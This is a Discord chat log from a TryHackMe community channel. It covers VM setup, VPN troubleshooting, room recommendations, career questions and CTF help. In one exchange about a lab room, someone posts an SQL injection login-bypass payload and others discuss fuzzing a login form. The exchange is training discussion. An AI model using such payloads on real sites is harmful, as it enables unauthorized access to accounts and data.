quiet-conversation

[next bronze]

what 🤣

Well, I mean it's a valid precaution, but on a THM room

[magic hill]

new goal: be able to hack my subaru

[warped badger]

Apparently it do not recognize Kali
I have to do manually but i don't want to make it wrong

[weary meteor]

That doesn't matter 😄

[warped badger]

! no way, i just have to click on next now ? 😅

[weary meteor]

Yes , this is more for you to better organize the GUI , it doesn't affect the actual functionality , you can even enter Windows there and use it for Linux 🤣

[warped badger]

oh ok thx 😄

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #2 - 2446)

[warped badger]

how much do you recommed for the processor ?

[weary meteor]

I would recommend 4 cores , which CPU do you have ?

[warped badger]

AMD Ryzen 7 3800XT 8-Core Processor 3.90 GHz

[weary meteor]

That's a really good CPU , go with 4 cores 😄 .

[warped badger]

yeah i also work on 3D software so i need it for that 😄

[weary meteor]

That's a great all-around CPU, very powerful for every use case, it will handle VM like a champ 🙂

[warped badger]

40 g for the disk size ?

i have 256 g free

[weary meteor]

Well you can go with less but if you have enough space on a partition where VM will be running definitely leave at 40-50GB for future proof 🙂 .

[warped badger]

ok, Is this modifiable in the future?

[hybrid obsidian]

can a cybersecurity certificate replace a bachelor's degree? If so, which ones?

[weary meteor]

I think it is 🙂

[warped badger]

ok thx

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #2 - 2447)

[weary meteor]

For a career/cert advice try to ask these guys , they will give you some great advice #cyber-and-careers 😄

[warped badger]

do i have to change something in the network section ?

[weary meteor]

Not really , looks good 🙂

[warped badger]

i tried to start it
"avorted"

[weary meteor]

You need to enable Virtualization option in your BIOS/UEFI

[warped badger]

so i enabled it but the "security based on virtualisation is still disabled"

[weary meteor]

Can you start the VM now ?

[warped badger]

yes it's work 🙂 but is it a problem that the first line (in the ss) is disabled ?

[weary meteor]

Tbh I don't even know what this option is supposed to do 😄

[warped badger]

ok 😄 thank you anyway, it's work now

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #2 - 2448)

[weary meteor]

Glad to hear that 😄

[warped badger]

do you recommed to type "root" here ?

[weary meteor]

Uh , I don't really understand what this is about 🙂 ? Can you translate ?

[warped badger]

"a user account will be created so that you can have an account other than the superuser ("root"), for the current use of the system. please indicate the name of the new user." i feel stupid to ask that, but why would i need another accoount if i have a "superuser" account 😅

[weary meteor]

That's normal user like ubuntu along root on AttackBox , choose whatever name you want or just press enter . It will default to kali if you don't specify something that you prefer more 😄

[warped badger]

ok thank you 🙂

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #2 - 2450)

[warped badger]

I guess i have to choose the first one ?

i hope will not be limited by my choice in the futur

[weary meteor]

Yeah , i would also go with first 🙂

[warped badger]

thx !

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #2 - 2453)

[finite wasp]

Hello!

[noble pelican]

Hey. If you are interested in LVM for creating partitions I could help

[weary meteor]

Which room ?

[plain jackal]

no room i got it from my professor i am unable to solve it

[weary meteor]

Sorry but we can't help with non-THM CTFs 😦

[south inlet]

We don't help with course work.

[plain jackal]

ok

[south inlet]

Can you DM me?

[plain jackal]

okay

[zinc iris]

Sure that's faster , but it's helpful for ctfs

I did this room , it's the new one right ? I meant how to repair images , like in the challenges and ctf , png and jpg , tools and stuff

[weary meteor]

Check out this one 🙂 . It's a challenge focused on reapiring some corupt images 😄
https://tryhackme.com/r/room/madness

[harsh linden]

That looks fun, thanks

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #2 - 2461)

[weary meteor]

It's a bit old , not very realistic but it's based around fixing broken images 😄

[harsh linden]

I have some corrupted images from an old recovery attempt. Maybe it’ll help solve this

[warped badger]

I can't access in some rooms in tryhackme ? (with my own vm i mean)
Task1 Javascript Essential

[weary meteor]

I don't think that ssh is available for that machine 🙂

[warped badger]

ok thx 👌

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #2 - 2476)

[weary meteor]

That machine should be accessible from split-screen view 🙂

[warped badger]

yes but i just got my own VM 😅
Can i acces the target machine from another port ?
i try to "nmap -sV ip but nothing moove from this

[weary meteor]

Some machines yes , but this one no 🙂 . You don't even have credentials provided 🙂

[warped badger]

noted, thx

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #2 - 2477)

[wide jackal]

After I finish the free pathway, which CTFs do you recommend to practice?

[weary meteor]

These three 🙂
https://tryhackme.com/r/room/basicpentestingjt
https://tryhackme.com/r/room/vulnversity
https://tryhackme.com/r/room/blue

[wide jackal]

thanks mate

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #2 - 2478)

[jovial jay]

Hello

[weary meteor]

Hello , welcome 😄

[zinc iris]

I will do it thank you

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #2 - 2501)

[elfin talon]

tu n'as jamais installer kali linux ?

[odd acorn]

Hey, please keep all messages English as per our community #rules :)

[elfin talon]

alr sorry 🙂

[warped badger]

Nope, but it's done now

[elfin talon]

alr

[sour fable]

hello

[weary meteor]

Hello , welcome 😄

[undone basin]

hey guys! i'm looking for people to collab with so we can work together on tryhackme

[zinc iris]

hi everyone , just finished Biohazard room it's very fascinating one ! every room DesKel made are brillint so far

[weary meteor]

Congrats , great job 🙂 🔥 🚀

[weary meteor]

We're all here to help 🙂 . If you ever need any help feel free to send a message in #room-help channel 🙂

[undone basin]

i don't need help but I just want people to collab with or join a group

[weary meteor]

Well still we're here to collab 😄 . Feel free to reach out whenever needed 😄

[weary meteor]

Also you can add me as a friend on THM if you want 🙂

[undone basin]

how?

[weary meteor]

Press Add friend button below Skill matrix . My THM username is KGBTHM 🙂

[undone basin]

okay

[undone basin]

Thanks

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #2 - 2543)

[weary meteor]

Request accepted 😄 . Thanks for adding me 🙂

[hoary nymph]

Gave +1 Rep to @undone basin (current: #2629 - 1)

[wide jackal]

I got a challenge from one of my colleagues to decrypt a file. It's not in any common format and is probably heavily encrypted. How do I proceed?

Most probably a custom built algorithm.

[south inlet]

We won't be assisting with this, sorry.

We don't know where the file came from, or even what you're doing is legal/ethical.

[wide jackal]

Well, it's sort of like a competition in our group. He thinks it's unbreakable or something. But that doesn't matter. Are there any rooms in THM that might help?

[south inlet]

There is a few rooms in encryption.

[wide jackal]

May I get the names, please?

[south inlet]

Use the search, some may suit your more than other.

[wide jackal]

Any recommendations?

[twin ridge]

From the owasp crypto cheatsheet

@wide jackal see above, also https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html for reference

[twin ridge]

Custom algos are always breakable

So it's probably based on some combination of xors

The crypto algorithm itself is always deterministic

[wide jackal]

I'll look Into it. Thanks

[hoary nymph]

Gave +1 Rep to @twin ridge (current: #13 - 616)

[twin ridge]

(mostly because it needs to be bidirectional)

[twin ridge]

Grab a copy of the binary used to encrypt and reverse it,

[radiant jacinth]

Hay... I'm am not able to connect to internet in my attack machine on them website.
Does anyone know how to fix it ?!

[weary meteor]

Are you a subscriber ?

If not then AttackBox doesn't have Internet access 😦

[radiant jacinth]

Noo
Then how can I get Flag because I need access firefox for that.

Should I use external machine by using openvpn !!?

[weary meteor]

Yes I would recommend using your own machine via VPN 🙂 . You can learn more about how to connect on the link below 🙂
https://tryhackme.com/r/room/openvpn

[radiant jacinth]

Thanks 👍

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #2 - 2557)

[oak umbra]

hello

[radiant jacinth]

I'm here

[mental knot]

@weary meteor what Are the benefits of using the own VM as attacker

[inner granite]

I have an issue with am PC running Windows 10, someone changed the admin password and didn’t write it down. They left and we can’t access anything. We are logged in as a user (not admin) how can I change/find the password?

[tawdry dove]

What do you mean "as attacker?" In a lab setting it protects your host system as you mess around.

[tawdry dove]

Is it domain joined?

[inner granite]

I’m not sure, how can I check?

[tawdry dove]

Who's computer is this

That's something you would know if the computer was your responsibility, I would think.

[mental knot]

I don’t mean vm or Main System I mean vm or Built in attackbox

[inner granite]

It’s a group computer, for a college club, I’m the only one that has experience with computers in general (though very limited). I have full permission to access anything in it

[mental knot]

So if its from the College than probably it’s managed over AD. Mby go ask the Admin of your College to help you out.

[south inlet]

Can you ask the person what the password is if there is contact?

[inner granite]

It’s a private club, sorta like a frat, it has a Workgroup domain

[inner granite]

No, nobody knows it or who does

[undone basin]

hey 👋

[weary meteor]

Because it's a sandboxed environment , if it crashes your host OS will still work normally and it protects you from malicious stuff you can catch 🙂 . Even if you so catch some they will only affect VM and not the main OS 🙂

[weary meteor]

Hi @radiant jacinth , I'm also open for collab 😄

[radiant jacinth]

Cool then 🙂

[weary meteor]

Feel free to send a request if you want on THM if you want 😄

[radiant jacinth]

OK I will send you

[weary meteor]

Thanks 🙂

[hoary nymph]

Gave +1 Rep to @earnest solar (current: #1297 - 3)

[radiant jacinth]

you're welcome, but I don't know wich one is you, they are many accounts with kgb

[weary meteor]

KGBTHM is my nickname

[radiant jacinth]

Oh it's done I sent you

[mental knot]

Thanks for the reply but I meant what are the benefits of using an vm instead of an attack box on tryhackme itself

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #2 - 2582)

You're still on cooldown

[weary meteor]

Well , THM's AttackBox tends to get slow during times on congestion on THM side + you can customize your machine however you want 🙂 .

[weary meteor]

I haven't received mail , what's your username so I can send you a request 😄

[radiant jacinth]

I think you have just to refresh the page, my name it's: GeniusOne

[mental knot]

Yeah thought about that but wasn’t sure if there was anything else… thank you my man

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #2 - 2583)

[weary meteor]

Request should be received on email , I sent you a request now 😄

[weary meteor]

Anytime buddy 😄

[radiant jacinth]

oh yeah it's done 🙂

[weary meteor]

Thanks for accepting request 🙂

[hoary nymph]

Gave +1 Rep to @earnest solar (current: #1049 - 4)

[warped badger]

i'm trying to install burp suite,
it's the first app i install on kali, how can I know if the installation is done ?

[weary meteor]

It should be preinstalled on Kali 🙂

[warped badger]

where ?

[weary meteor]

Type burpsuite in terminal

[weary meteor]

Click ok 🙂

[warped badger]

ok thank you 🙂

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #2 - 2584)

[sinful forge]

Good morning, what is the best DNS poisoning tool in kali to learn?

[warped badger]

My VM kali freeze after fews minutes cause of inactivity 😕

[weary meteor]

Well it can happen sometimes 😦

[warped badger]

oh ok, thx

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #2 - 2588)

[zinc iris]

You can practice another os , freely and without worry about messing thing up , at any point you can change the whole system , try installing stuff , and you can clone the device so at any point you can switch to the point where everything was working

[frail tendon]

So what about your ip and Mac address? Is that visible? And is it necessary to proxy chain while using a VM?

[next bronze]

Depends on whether its a bridged network or not, you can also use a VPN so it doesn't really matter

wdym proxy chain?

[kindred turtle]

No your MAC address can only be identified on your LAN or internal network.. Simply put, the MAC address doesn't get sent out into the internet

MAC address is on a similar level (but it's a part of your NIC which is assigned by the manufacturer) as your private IP assigned to your device via a router

Your MAC address and Private IP address are used in the routing scheme of a modem

Your router will be using NAT to translate this for communication with IPv4, IPv6 uses a different protocol

Then your public IP address is the routers address, used by the ISP to allow you access to the internet

Your VPN client sits before the ISP level, which means the ISP can only see that you have connected to the VPN server but doesn't know what you're accessing

You don't need a proxy chain. Although you want to make sure you configure the VM right and ensure sandbox escape is really difficult

[radiant jacinth]

you're good on networking bro 😉

[kindred turtle]

Ty man, its pretty interesting

[hoary nymph]

Gave +1 Rep to @earnest solar (current: #904 - 5)

[radiant jacinth]

you're welcome, yeah it is 🙂

[kindred turtle]

Can I just say ty and then +rep?

[radiant jacinth]

haha I don't know 😄

[kindred turtle]

Thank you, that is such good advice, I really needed it

[kindred turtle]

Ty

[radiant jacinth]

you're welcome 😉

[kindred turtle]

XD

[radiant jacinth]

thank you too

[hoary nymph]

Gave +1 Rep to @kindred turtle (current: #600 - 9)

[radiant jacinth]

xD

[kindred turtle]

Nah of course

So what type of stuff are you interested in?

[radiant jacinth]

pentesting

[kindred turtle]

Same here

[radiant jacinth]

what about youu

awesome

[kindred turtle]

Yeah, man I'm interested in exploit chains ATM

[radiant jacinth]

I like that

[kindred turtle]

No one wants to talk about it though haha

[radiant jacinth]

haha every one has his favorite stuffs

[kindred turtle]

Yeah definitely, some things as more niche than others as well. To be honest I wouldn't know what my favourite is, probably actually just solving some really difficult problems

[radiant jacinth]

yeah, by the time you will find what you really need

[kindred turtle]

I got interested in proxy chains a while ago

Created a customizable one, where you capture the raw packets and each proxy performs a different function or used by a controller

[radiant jacinth]

yeah I see

[radiant jacinth]

great job

[kindred turtle]

It's like burp suite without the gui

Because I can't afford premium

Gotta improvise

[radiant jacinth]

yes I understand, by the way I have not too much time since I started my journey ^^
I'm still learning

[kindred turtle]

Ohh that's all good

We all have a lot to learn honestly

My tip would be don't get caught up in the specifics unless it actually interests you

[radiant jacinth]

yes there is so much things to learn

[radiant jacinth]

OK thank you 😉

[hoary nymph]

Gave +1 Rep to @kindred turtle (current: #554 - 10)

[kindred turtle]

Like have you learnt the CIA triad, OSI model, The pyramid of pain, the Diamond model.
XDR, EDR, NDR.
Stateless vs stateful APIs and firewalls.

I can keep listing if you want

Those aren't specifics though

[radiant jacinth]

not all of them

I learnt the osi model, cia, pyramid of pain

[kindred turtle]

Nice, the cyber kill chain is an important framework, MITRE ATT&CK,
You probs have already learnt a bit about the pentesting process.. which is planning, recon, exploitation, post exploitation (priv esc, persistence, anonymity), and reporting
Attack vectors and methodology for each step along the penetration testing framework

[kindred turtle]

The diamond model is pretty much based on TTPs, and an attackers purpose

[radiant jacinth]

yes exactly 🙂

[radiant jacinth]

yeah you seem to be well-trained

[kindred turtle]

You learnt about different protocols and the ports they run on as well?
It's good to research each protocol's structure and how it communicates with other technologies

[kindred turtle]

Yeah I'm alright haha, ty tho

[hoary nymph]

Gave +1 Rep to @earnest solar (current: #791 - 6)

[radiant jacinth]

yes that's where I'm now

[kindred turtle]

It gets a bit more complex when you analyze how exactly it performs under different environments by dynamic analysis and probing

[kindred turtle]

Oh yeah nice man, which protocols?

[radiant jacinth]

https, smtps, pop3s, LTS

[radiant jacinth]

Yeah, it is

[kindred turtle]

Oh cool as, the secure versions are always a bit more complex to understand ngl

I haven't learnt about LTS yet

[radiant jacinth]

yeah, so you have to check it out

sorry I mean, TLS

[kindred turtle]

Oh yeah truee

SSL/TLS is very important

[radiant jacinth]

sure yes, TLS is the upgraded version of SSL

[kindred turtle]

Yeah you can capture that handshake and do some fun things with it

I use the cryptography library in python or pyopenssl

Or sockets

[radiant jacinth]

Oh, I don't know about pyopenssl

[kindred turtle]

It helps you verify web certificates, pull information from them and play around with the TLS/SSL cryptography

[radiant jacinth]

Ah yeah I remember it thanks

[zinc iris]

vm take another ip , it's like a new computer all together , but you can use vpn , you need that in some websites like THM , and it's extra good

[scenic wharf]

Hi

[weary meteor]

Hi , welcome 🙂

[scenic wharf]

I'm new here and I wanna learn hacking

[weary meteor]

Glad to hear that 🙂

[scenic wharf]

Any advice dude

[weary meteor]

You can start here 🙂
https://tryhackme.com/r/path/outline/presecurity

[light hull]

Huhu

[warped badger]

Is it because of the vulnerable VM that the site got an F ?

[weary meteor]

What's this 🙂 ?

[warped badger]

it's security header https://securityheaders.com/
THM has a room who speak about this website.
This is to know if your site has "the basics" in terms of security

[quaint basin]

Why would that make a difference? It's checking security headers

No, it's because THM, somewhat ironically but not particularly surprisingly, doesn't have any security headers set. At all.

Also got an x-powered-by header leaking through cloudflare which is fun.

[warped badger]

I do find it surprising

[quaint basin]

Heh, unfortunately I'm familiar with the dev team. I do not.

[warped badger]

and i'm not ! why doesn't that seem surprising to you?

[quaint basin]

No comment

[warped badger]

mkay

[twin ridge]

lol really?

ah so they do

they really should get around to implementing webauthn

[iron iris]

Hi guys, I would like you to guide me regarding the SOC Simulator please. It mentions that it lasts two hours, that is, do I have to be online for two hours solving tickets to get a rating? I've seen a lot of tickets come up, I've been there for less than two hours and all my progress has been lost 😦
Oh and one more thing, will it be free forever or just in January? 😅 👉🏻👈🏻

[weary meteor]

Try to ask in #soc-sim-help 🙂 . This channel is not so active 😄

[quaint basin]

That'll be the day

[iron iris]

ty

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #2 - 2695)

[obtuse bear]

Hey everyone I need help I solved some questions on the webosint room like 2 or 3 hours ago but when I re-open the room. This is saying room is locked the room owner has locked this room to access material start machine and answer questions sh***tt!!!!!

[weary meteor]

Room isn't availabe anymore 😦

[obtuse bear]

@weary meteor But Why this is happend ? I solved some of it

[south inlet]

It was locked by site staff due to a URL leading to a malicious website.

[weary meteor]

Check out #room-help 🙂

[obtuse bear]

@south inlet okay got it

[sinful prism]

Hi, I just completed SOC Level 1 and want to practice more to strengthen my skills. My goal is to secure an internship or job in this field. Could you suggest some premium or free rooms for practice? Also, if there are any open opportunities for me, please let me know.

[weary meteor]

These two may be a good choice 😄
https://tryhackme.com/room/itsybitsy
https://tryhackme.com/room/investigatingwithsplunk

[sinful prism]

already completed

[weary meteor]

These two 🙂 ?
https://tryhackme.com/room/warzoneone
https://tryhackme.com/room/warzonetwo

[sinful prism]

thanks...!

[forest igloo]

Hi! Is someone that has obtained the PortSwigger Certification, Im curious about the difficulty of the exam and the necessary time to learn to can pass the cert

[rapid trail]

Hello general is geeking out,
Concerning scholarships for incoming college freshman, can I put THM as a project I have worked on in the last three years?

[tawdry dove]

THM is not your project, so no. It can go under an extracurricular section if you're talking about a resume.

[rapid trail]

Sorry, oops, i dont mean a project I made, but it states it like “What extracurriculars have you done relating to your major”

I also included things like creating a personal network monitor and self teaching python.

Its a weird essay type field where I have to explain everything I have done relating to my major, I dont know why it asks that and then asks for my student resume (which Includes THM)

[tawdry dove]

If it says extracurriculars, I think that's an OK add

[rapid trail]

I dont know what they expect me to do between sophomore year to now in terms of projects, i dont have access to networking equipment or a home lab 🤕

[tawdry dove]

Do you have a computer?

[rapid trail]

Yes, not in sophomore year, and I didnt choose my major until summer junior year

[tawdry dove]

I'm confused. I thought you said you were an incoming freshman

[rapid trail]

Yes, highschool sophomore year and junior year

Im currently a high school senior

Oh well, I think I added enough to the roster. I hit the word count limit on the essay.

College as a whole is confusing some of these prompts for scholarships are bad

“If you were an animal what would you be and why”

[acoustic epoch]

A fish so I could never drown

[wicked tide]

I want to become a cybersecurity analyst in the future, but I’m confused about which roadmap to follow. When I search for a cybersecurity analyst roadmap on Google, I mostly find general cybersecurity roadmaps. I don’t understand where to start. Also, are cybersecurity and cybersecurity analyst the same field, or is there a difference?

[weary meteor]

You have a roadmap on THM 🙂
https://tryhackme.com/hacktivities/

[radiant jacinth]

Does anybody know why every time I type 'apt install mysql-client-core-8.0' on the AttackBox it always gives errors like 'Ign:1 http://eu-west-1.ec2.archive.ubuntu.com/ubuntu focal-updates/main amd64 mysql-client-core-8.0 amd64 8.0.40-0ubuntu0.20.04.1
Err:1 http://security.ubuntu.com/ubuntu focal-updates/main amd64 mysql-client-core-8.0 amd64 8.0.40-0ubuntu0.20.04.1'?

[weary meteor]

You don't need to do that , mysql is pre-installed on AttackBox 🙂

[radiant jacinth]

It doen't appear on the AttackBox installed

[weary meteor]

It is

[radiant jacinth]

Then why does it say "Command 'mysql' not found, but can be installed with:

apt install mysql-client-core-8.0 # version 8.0.39-0ubuntu0.20.04.1, or
apt install mariadb-client-core-10.3 # version 1:10.3.39-0ubuntu0.20.04.2"?

[weary meteor]

Are you a premium user ?

[radiant jacinth]

No

[weary meteor]

Then your AttackBox doesn't have Internet access . That's why it can't download those dependencies

[radiant jacinth]

That means I can't keep going on that task unless I'm Premium?

[weary meteor]

You can use your own machine and connect via VPN to THM network

[radiant jacinth]

Mmmmm... I'll try that out on my Kali Linux machine and see if that could work

[weary meteor]

It should work , AB doesn't have Internet access for non-premium users so that's why it can't reach the server and download dependencies. If you don't know how to connect to THM network via VPN check the article below 🙂
https://tryhackme.com/room/openvpn

[radiant jacinth]

Just keeping a look

[radiant jacinth]

I'm stuck with the 4th step of Open VPN configuration on my Kali Linux machine. Every time I type the command 'sudo openvpn ~/Downloads/username.ovpn' (assuming that my username is 'Mruizarr' and the current directory is /home/kali), it always shows this message:

"Options error: You must define TUN/TAP device (--dev)
Use --help for more information."

[weary meteor]

Try to re-generate a file and download a new one

[radiant jacinth]

I did it for at least three times and I keep getting the same result all over again

[weary meteor]

Can you please verify and provide a screenshot of what's going on 🙂
https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

[mystic flower]

Imma put this here,

TryHackMe has actually made me feel better in life
Before trying it out I was in Networking Lessons in my college and feeling like I could do more, unmotivated and kinda depressed.
But after doing some I got addicted to it and enjoyed learning and solving the problems giving.

Since, I have a good habit of connecting and learning everyday, replaced most of my gaming with eductional / side projects.
and got offers for interships in my local area.
Met some cool people that have a shared interest in cyber and some cool opportunities

Goated community and platform

[weary meteor]

Glad to hear that 😄 . You're doing an amazing job , keep up the good work 🙂 🚀 🔥

[radiant jacinth]

This is what I'm talking about. Four times in a row

[weary meteor]

Can you go to the dir where the file is and it with relative instead of absolute path.

[south inlet]

absolute path will work.

That config looks blank.

[radiant jacinth]

That's the directory where the file is located

[weary meteor]

Have you tried to change the server and generate a new file ?

Delete old file beforehand

[radiant jacinth]

Loads of times and I keep getting the same results all over again

[weary meteor]

Looks like your file is blank , which server are you using ?

[radiant jacinth]

I've recently changed the server and it worked

[weary meteor]

So it is ok now 🙂 ?

[radiant jacinth]

Yep

[weary meteor]

Thank God , glad to hear that 🙂 . Keep up the good work .

[hoary nymph]

Gave +1 Rep to @coarse violet (current: #2643 - 1)

[radiant jacinth]

Definitely

Now I have another issue

Considering I got the correct credentials after a long scanning proccess with Nmap, I try connecting to the MySQL Server from the target machine and I get this error

[weary meteor]

add --skip-ssl flag

[radiant jacinth]

The flag you mentioned earlier solved part of the problem. I'm trying with the user 'root' and an empty password. However, for some reason, it denies the access

[weary meteor]

You have to specify correct password

[south inlet]

Not with -p

That command should work.

[radiant jacinth]

I decided to try with 'password' and it worked

[south inlet]

However, please use #room-help for support on rooms.

[radiant jacinth]

Thanks for reminding me

[hoary nymph]

Gave +1 Rep to @south inlet (current: #1 - 3334)

[quaint sail]

@radiant jacinth The time on VM should be the same as your laptop/time zone

[radiant jacinth]

It's done

[undone basin]

hey @weary meteor how do we accept a request on tryhackme?

[weary meteor]

Check your email 🙂

[undone basin]

thnk

[restive garnet]

heyyyyyyyyyyyyyyyyyyy

[zinc iris]

hi

any one know a room about curl ?

I was reading a write up and the author use curl insted of burp , then I try that and it was faster

[tawdry dove]

Man pages are a good resource

[tawdry dove]

They are two very different tools, just fyi

[weary meteor]

There is no room on THM dedicated solely to curl 😦

[zinc iris]

I know , but he intrespted some traffic by useing curl

[zinc iris]

okay any close ones or other resorsed about it ?

[weary meteor]

Sadly , there're no rooms at all that cover curl . There're two rooms that mention how curl can be used in some use cases for jwt and auth. bypass , but they don't actually go into details on how to use curl 😦 . However I will link them below so you can check them out if you're interested . Also I would recommend you to check curl's official documentation , it has a dedicated section on how to use tool for various protocols and use cases 🙂
https://curl.se/docs/manpage.html
https://tryhackme.com/r/room/authenticationbypass
https://tryhackme.com/r/room/jwtsecurity
https://tryhackme.com/r/room/contentdiscovery

[zinc iris]

thx alot, I'll check them out

[twilit lantern]

+rep @weary meteor

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #2 - 2791)

[civic hull]

😟🗞️Interesting news https://leakd.com/leaks/massive-discord-data-breach-nearly-1-million-users-exposed-in-restorecord-leak/

[odd acorn]

Misleading title, this is more common than you think, Discord wasn't breached

It's a third-party service, likely an integration or app, and the leak doesn't contain anything sensitive. Most of those IP addresses will change soon

[civic hull]

🫡 🤝 Thank you for clarification

[burnt cobalt]

the irony that restorecord is advertised as "everything you need to protect and grow your Discord server" lol

[normal fable]

Hi Team,
I have a quick question regarding Azure Task 22 - Advent of Cyber 2024.
I successfully obtained the credentials for the user [e-mail], but unfortunately, when I tried to log in using "az login," it asked for MFA, but throughout the lab, we didn't set up MFA for this particular account. Kindly help me resolve this matter.

[fathom panther]

Hi, #room-help for this.

[radiant jacinth]

Does anybody know any free room available for Pentesting?

[weary meteor]

There're like 500+ free rooms 🙂 , which particular field are you interseted in 🙂 ?

[radiant jacinth]

Pentester

[weary meteor]

Yeah , but that's a huge topic . If you're interested to perform full-pentest process you may be interested in some networks like the ones below 🙂 .
https://tryhackme.com/room/wreath
https://tryhackme.com/room/breachingad
https://tryhackme.com/room/adenumeration

[shrewd sedge]

Hey guys. So while working on a room I stumbled upon a very specific problem which I would like to know alternatives or ideas for as a solution. So whenever you send out a POST request using Firefox which originates from a HTML form element, the body of the network packet and the Content-Type in the header is application/x-www-form-urlencoded by default. Meaning the key value pairs are percent (URL) encoded and follow the scheme: key=value&key=value so there is an ampersand between them as separation. I successfully found an SQL injection payload which worked on the login form using a fuzzer program. However, the payload only works if it is NOT percent encoded and the key value pairs are separated by an ampersand (&) in the POST body AND the HTTP header states the Content-Type as application/x-www-form-urlencoded, so the format has to be: username=PAYLOAD&password=PAYLOAD. However, in HTML there are only 3 enctypes which can be used in a form and none of them replicate this exact behavior where there is no percent encoding and data is separated by & rather than new line characters (like in text/plain). Not to mention that the Content-Type in the header won't be stated as application/x-www-form-urlencoded if I use a different enctype parameter in the form method. So any ideas on what I could do to make Firefox send out POST requests with the data formatted in a way I want it to be (no percent encoding but ampersand separation), with the Content-Type staying application/x-www-form-urlencoded in the HTTP header, so Firefox handles the response packets and displays whatever is after the login page for me to see? (instead of having the fuzzer program tell me what reply it got and not being able to interact with the website - because it's not the web browser that is interpreting the network packets)

[south inlet]

Whicih room were you working on?

[shrewd sedge]

https://tryhackme.com/room/cheesectfv10

[south inlet]

@soft pier@misty obsidian was this something you guys set up intenionally?

[spice vapor]

So in THM CTFs why they dont have tags like hack box which tell us its related to web or networking or RE etc

[weary meteor]

They used to have those but sadly that feature is removed 😦

But you can still search by keywords , recommendations are pretty good 🙂

[spice vapor]

Yeah i remember that those were realy helpfull

[south inlet]

#feedback-and-ideas 😄

Suggest to bring it back.

[weary meteor]

Yeah it was 😦 . But keyword search still functions very well imo .

[spice vapor]

Yeah lets bring them back

I have submitted my feedback about tags on CTFs I think few more can bring them back

[soft pier]

yeah kinda @shrewd sedge shadows way in was using sqlmap to dump the database of usernames from the login form... this then results in you being able to use a specific sql injection attack to login

[shrewd sedge]

That's a creative initiative as well, haven't though of it. Regardless, since you guys intended the backend to handle the packets in this way, do you have a solution for the Firefox problem by any chance, that I mentioned?

[soft pier]

not sure if we designed it this way or it is just an artifact from how vain configured it using llm:s

but if you have the username of the user from the database you can login with it on firefox

alternatively some people have found login bypass by doing things like gobuster/ffuf

[shrewd sedge]

I fuzzed with the same payloads for the username and password at the same time, should I send the payloads that worked?

Also, it wouldn't matter what username I logged in with, since if I sent the correct string as the password it let me in. That's why my problem stands, firefox has no POST format that would support the way these packets allowed me access to the next page.

So I manually had to analyze the packets and then access the redirection from Firefox. If there were cookies used, I would have been in trouble achieving this.

And I can not find any information on commanding Firefox to create packets (form enctype= neither) regarding Content-Type as application/x-www-form-urlencoded in the POST header, and having the POST body use the same encoding without percent encoding on the values. This is only for convenience so I don't have to manually do packet analysis.

[soft pier]

user' AND 1=1 -- -

the password is impossible to get unless you do heavy brute force on the hash

[shrewd sedge]

Yeah I haven't got any real usernames or passwords. I just used SQL payloads to 'login'.

But let me try to simplify the situation. The fuzzing programs returned SQL payloads that won't work in web browsers because how browsers create the POST packets, meaning I can not easily 'login' and see what's after the login page.

So I was wondering if anyone has a solution on telling the browser how I want my POST body to be constructed.

[soft pier]

no idea... never touched much of the firefox dev tools for post http method

[shrewd sedge]

Right, you guys probably have a list of payloads that can break the php script even if the input is percent encoded. That's probably why I couldn't find an answer to this or why nobody encountered the same problem in the write-ups neither.

[twin ridge]

They did spoiler a bit

[glacial zealot]

I’m probably in the wrong place so if anyone could offer me a bit of guidance in the right direction, I would greatly appreciate it. I’m seeking help with possible infidelity regarding my partner that isn’t an obvious scam. Pls go easy on me. It’s hard to live with this feeling in the pit of my stomach & im not sure how much longer I can go on not being able to make sense of the small things that I notice but cannot put together. Thank you for your time.

[fathom panther]

I think you need to consult people close to you, not in this Discord.

[zinc iris]

Hi everyone

I was wondering , do I got points in THM for making a room or a ctf ?

[weary meteor]

I don't think so 😦

[radiant jacinth]

@weary meteor what's your opinion on what i posted in #room-ideas 🤔

Would it be too repetitive? idk

[weary meteor]

Good suggestion 🙂

[twin ridge]

nah, but you get the eternal respect and/or ire of your peers

[untold pecan]

The new feature on answer box is awesome, don't have to count by sticking my finger on the screen any more

[crimson prairie]

hello🙂

may I ask for advice on how to remove infected APK files from mobile phones? I have even performed a factory reset, yet the app keeps reappearing after I delete it.

I don't know where it came from on my phone

My phone's antivirus has alerted me that root access has been granted without my consent, which is scary.

I analyzed the apk file permissions and found the following risky permissions

[android:usesCleartextTraffic=true]
android.permission.BIND_JOB_SERVICE
[android:exported=true]
android.permission.REQUEST_INSTALL_PACKAGES
android.permission.WRITE_EXTERNAL_STORAGE

[south inlet]

This should be slightly harder to do, unless you've manually rooted your phone.

You can't root a phone without access to the phone physically.

Which Anti-virus do you use?

[crimson prairie]

It is my personal phone

[south inlet]

That means nothing?

[crimson prairie]

The most interesting thing is that the apk called Magisk but it is infected version

[south inlet]

Have you downloaded the Magisk before?

[crimson prairie]

I didn't install it before

[south inlet]

You need access to the phone to enable the boot loader and USB debugging, both of these are not enabled by default.

If you factory reset the phone, and you download from a cloud back up, this could be installing the app.

[crimson prairie]

But i disabled the internet connection before doing it

[south inlet]

Not very well it seems.

[crimson prairie]

my phone is not working good now

[south inlet]

Which handset do you use?

[crimson prairie]

https://www.bleepingcomputer.com/forums/t/805230/malicious-apk-that-keeps-coming-back-even-after-you-delete-it/

I posted about it here too

[south inlet]

Did you answer from Bleeping Madman?

Which handset do you use?

[crimson prairie]

Redmi

[south inlet]

Have you ever used TWRP before?
